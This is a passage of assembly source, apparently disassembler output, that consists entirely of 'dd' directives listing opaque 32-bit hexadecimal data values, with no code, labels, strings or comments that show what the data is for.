		dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
		dd 0D0B6FDA2h, 0C985EC82h
		dd 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h, 8C063757h
		dd 902BC0F0h, 7034612h,	497D834Ah, 819DE0A5h, 0B1F90017h
		dd 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h,	19130052h
		dd 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h, 9A2FB3A9h
		dd 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh,	74410764h
		dd 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h, 2E098F0h
		dd 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh,	0F14110Eh
		dd 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh,	103B63h
		dd 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h
		dd 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch,	342507D0h
		dd 8060094h, 50FE1391h,	205C67FDh, 575E0011h, 2590E9D6h
		dd 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah
		dd 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh,	0EE09F9D8h
		dd 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch, 9689F104h
		dd 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h, 0A28D0071h
		dd 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh,	4FFF0022h
		dd 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h, 6A621EB6h
		dd 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh, 3260B63Eh
		dd 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh,	6233DAB0h
		dd 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch
		dd 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h, 5277E84Fh
		dd 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h, 551C1E44h
		dd 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh, 2CDFE848h
		dd 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h, 0A00AB5B2h
		dd 197F6C7h, 5F0EFC43h,	0C8FB14F4h, 0AE02750Dh,	44748861h
		dd 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h, 64AC0405h
		dd 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h,	2A001E75h
		dd 2E8F039Eh, 0FC1CE9h,	73706C85h, 0B19C7508h, 3A62860Bh
		dd 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h,	0F633C7A8h
		dd 6CC60B8h, 3000077Eh,	3C961F74h, 0E2ABB49Dh, 0F0440187h
		dd 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h,	0B297C44Ch
		dd 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h,	0C948A40Ah
		dd 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h, 77ECE23Dh
		dd 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h, 0FCA53878h
		dd 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh, 5DA2D77Dh
		dd 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h, 37503056h
		dd 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h,	7F4ACC7h
		dd 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h, 0E5784296h
		dd 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h, 13BA4AC6h
		dd 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh, 0C2D40E09h
		dd 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah, 0DDD0F00h
		dd 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h, 0F448A23h
		dd 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh, 9300F2C4h
		dd 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h, 0D27E3Eh
		dd 0C7256A4Ah, 55AE9Dh,	0EB41120Eh, 0A30FE620h,	144D0500h
		dd 24731682h, 2210032h,	774CCE54h, 2B005033h, 0B78EF44Dh
		dd 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h, 0B75AF7E8h
		dd 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh, 4882694h
		dd 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh,	30E2B810h
		dd 7459D898h, 736B040h,	0C4370E64h, 0F9A9B028h,	0DF900FF0h
		dd 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah, 0A8FC04h
		dd 671CDC4Dh, 2C5EC64h,	1A0C5903h, 1EE0B879h, 373E14CEh
		dd 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh, 4BE870A9h
		dd 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h, 850054E0h
		dd 24D6D07Ah, 710BCF8h,	810D48D7h, 411BF0BDh, 1C00752Fh
		dd 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h, 23017542h
		dd 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah,	90014EBh
		dd 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h, 8842D01Fh
		dd 24FEF300h, 11196h, 0BB125F22h, 130A7C54h, 2D05BF00h
		dd 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h, 0E0F31E12h
		dd 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h, 4B58BFD5h
		dd 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh,	0ECF32DEAh
		dd 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh,	0C896C0Dh
		dd 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h, 9F6BBF06h
		dd 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h, 0C800BDEAh
		dd 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h, 60078B63h
		dd 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h, 0D98C6FC0h
		dd 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h,	1A012A61h
		dd 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah,	6A7F2736h
		dd 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h, 7B00480Bh
		dd 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh, 8D7D30ABh
		dd 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h,	90DE4302h
		dd 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh, 3B022408h
		dd 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h, 0EC598B7Eh
		dd 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh, 5A8F59F5h
		dd 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h, 78800498h
		dd 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh, 52000429h
		dd 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh, 0E0D62BC8h
		dd 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h, 150F0EF1h
		dd 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah
		dd 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h,	806DE41Fh
		dd 0C7089h, 0A0915A59h,	8880B494h, 0E42D0A03h, 0A281A54Dh
		dd 0D0B88053h, 67744Ah,	600F060Bh, 7216EA83h, 0EB100403h
		dd 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h,	340062C9h
		dd 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh,	0BF01D35Fh
		dd 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h,	0BD00C27Ah
		dd 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h, 0AF001898h
		dd 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh, 927CF4D0h
		dd 50E88060h, 555AC01h,	68C1A1E0h, 0FB0A8058h, 0FC00EA51h
		dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h,	0F0466909h
		dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
		dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
		dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch,	6A0D4680h
		dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h,	8EEB7C72h
		dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
		dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h,	2B30487h
		dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
		dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
		dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h,	2EAD812h
		dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h,	589C88h
		dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh
		dd 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h
		dd 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah,	3DBC990Bh
		dd 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h,	1F883386h
		dd 0A1AC44h, 8DCABCE4h,	89E82410h, 96633401h, 5AEB2948h
		dd 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh
		dd 95D8102h, 265C80CCh,	0E0696285h, 6E606E22h, 0A702A68Ah
		dd 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch
		dd 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h,	0C2B8D00Bh
		dd 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch,	0EFA85EC3h
		dd 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh
		dd 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h,	38FF4C15h
		dd 61DB292h, 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh
		dd 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h, 858400D4h
		dd 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh, 0A1D81D42h
		dd 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h, 728D0C1h
		dd 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh, 183DD8h
		dd 0D1E88980h, 1788B6h,	948A8278h, 7F913967h, 9E4C2100h
		dd 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h, 2A0040C6h
		dd 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h,	9226BBE8h
		dd 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h,	0DF23E828h
		dd 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh, 8A503201h
		dd 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h,	549E1042h
		dd 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h, 1407529Eh
		dd 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh, 80661397h
		dd 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h, 40F56E42h
		dd 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h, 914CE181h
		dd 444849h, 44B2E906h, 1C26CE2Ch, 80800140h, 83490579h
		dd 4100FEC9h, 4FBB07Bh,	102B207h, 658A13EBh, 7A4A3C38h
		dd 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h, 0F0074EAh
		dd 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h, 5607C500h
		dd 2FCCF814h, 5C1F1C1h,	0BB5460h, 9CF04CB4h, 0F21217A0h
		dd 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h, 479130AFh
		dd 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h, 72012C02h
		dd 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h,	0E800F43Ch
		dd 0BC8AC52Ah, 6C8D24h,	0ACBE0460h, 6C70375h, 0EDCC0900h
		dd 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h,	965C66F2h
		dd 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h, 60E8F7C1h
		dd 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h, 2AF509F7h
		dd 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah,	0F6013347h
		dd 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah, 87884316h
		dd 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh, 2C683EEh
		dd 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh, 0B9A8285Dh
		dd 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h, 0FBE82A14h
		dd 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh, 22EB92C7h
		dd 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh, 74ECB808h
		dd 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h,	0A28670B9h
		dd 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh,	807DE949h
		dd 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h, 4131EF2h
		dd 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh, 2FB120F4h
		dd 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh,	2D7B5D3Ch
		dd 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh, 5AC8007Bh
		dd 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh,	0CCDDD022h
		dd 53CFB3Fh, 1AB83155h,	8FF26272h, 0CF29CFEDh, 3C3FDE0Ah
		dd 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h, 0D64A8047h
		dd 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h, 643FC403h
		dd 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h, 0BA90F462h
		dd 0F847FCh, 3A8A0CF2h,	6EE24C3h, 68001B7Ch, 100A211Ch
		dd 0CB8F4h, 0CF66A5C9h,	1D29EB2Bh, 0F928912Ch, 0F949DA00h
		dd 4160F0Ch, 7DB875F0h,	0DDABC0E3h, 0F500BA99h,	0B2F46E29h
		dd 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h,	43FCDD0Fh
		dd 30E2358h, 722CD020h,	266C3E3h, 0CE8618Ah, 1D007051h
		dd 96684C42h, 60F6F924h, 4120D831h, 501E724Dh, 51004AE1h
		dd 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h, 530B108Eh
		dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h
		dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch
		dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh,	0B60A5Ch
		dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh
		dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h,	0B2C2C0BBh
		dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h
		dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h,	0B0189198h
		dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h,	3C704431h
		dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h
		dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch
		dd 24D22045h, 31848C4h,	10B1B899h, 0A2077813h, 51706E08h
		dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h
		dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h,	24B044D8h
		dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h
		dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h,	0B4396883h
		dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch
		dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh
		dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h
		dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh
		dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h,	2FE2F84Dh
		dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h,	914CF13Ch
		dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h
		dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh,	36BC4105h
		dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h
		dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h
		dd 5A40800Fh, 202107Dh,	18BF0372h, 2C7F40FBh, 9B831F4Ch
		dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h,	0F3E11CC8h
		dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
		dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h,	6C30BFF3h
		dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
		dd 10917BEh, 763352A3h,	0E011D825h, 88028F4Bh, 0AAC81B1h
		dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h,	6D55AA12h
		dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
		dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
		dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
		dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh,	0E3FE3306h
		dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h,	116049D2h
		dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
		dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
		dd 0D7DAF7A7h, 0B1E46A6Fh
		dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh
		dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh
		dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h,	496F00E2h
		dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h
		dd 43DC8AF3h, 1488EACh,	4B0D002Dh, 3DA0F475h, 0C57C031Eh
		dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h,	27F97541h
		dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h
		dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h
		dd 0C9241790h, 48F805h,	1E74D03Ch, 7E537651h, 7A293B48h
		dd 0AE92AA8h, 3E80C8Ch,	0F7CC0784h, 595B407Fh, 0E2014312h
		dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh,	26B8B701h
		dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h,	2DFDACE0h
		dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh
		dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h
		dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h,	7B2B202Fh
		dd 4470007h, 4FEE0990h,	0E9EAC1EAh, 136BC200h, 8C5AE8Fh
		dd 5D770Bh, 0DE4F1673h,	68C61B28h, 0F0578D00h, 5A80E84Ch
		dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h
		dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah
		dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h
		dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh
		dd 8745C019h, 0DA74D7h,	55F0F73Bh, 4E775D05h, 1C042498h
		dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h
		dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h
		dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh
		dd 89BBA865h, 18E318Ch,	0A1C76630h, 0F08693BFh,	0F8125588h
		dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h,	33C697F3h
		dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h
		dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h
		dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h
		dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h
		dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h,	4EE5C180h
		dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh,	6084482Ah
		dd 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h,	2BE35680h
		dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h
		dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh
		dd 40441A22h, 7538920h,	0C0074FC4h, 0E6E8D4A3h,	0ACCD82D0h
		dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah
		dd 59DE4ABh, 412E74C4h,	0A4A68146h, 5ECDE4F9h, 3880500h
		dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h
		dd 0D8DEA1C3h, 1B8C41h,	7FD307Ch, 4DFF01F5h, 7475F425h
		dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h
		dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h
		dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h,	1CC9B258h
		dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah
		dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h
		dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h
		dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h
		dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh,	2104E12Fh
		dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h
		dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h,	0FAA8D401h
		dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh,	3187BF2h
		dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h
		dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h
		dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch
		dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h,	0EBED7739h
		dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h
		dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh,	53120088h
		dd 6A80C302h, 6008BEEh,	0A0042ECEh, 7CA0BC8h, 0B46B840Fh
		dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h,	607A00D1h
		dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh
		dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h
		dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h
		dd 614057h, 0F7A4B91Bh,	0C0DF6A1h, 0F93DFE00h, 24C4811Eh
		dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h
		dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h
		dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h
		dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h,	261EBA7Dh
		dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h
		dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h
		dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h
		dd 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h,	0DE252404h
		dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h
		dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h
		dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh
		dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h
		dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah,	619DB3CAh
		dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch
		dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h
		dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h
		dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h,	5B40C477h
		dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah
		dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h,	1E793A14h
		dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h
		dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h
		dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h,	158B64A8h
		dd 8043F3h, 0CB4EC93Dh,	1C303312h, 9810BA00h, 708D404Bh
		dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h,	5798F20Dh
		dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
		dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
		dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
		dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
		dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
		dd 1F30E618h, 3085DF2h,	98DB0CE6h, 0F410E099h, 8D122E7Ch
		dd 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh,	0F2015AC3h
		dd 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h
		dd 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h
		dd 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh
		dd 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h
		dd 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h
		dd 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch,	4C770CBAh
		dd 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h
		dd 16378099h
		dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h
		dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h
		dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h
		dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h
		dd 0B657700h, 75676B5h,	5478ABh, 9D7B22BBh, 0BFAE3CECh
		dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah
		dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h
		dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h
		dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h,	0C7027C8Dh
		dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h
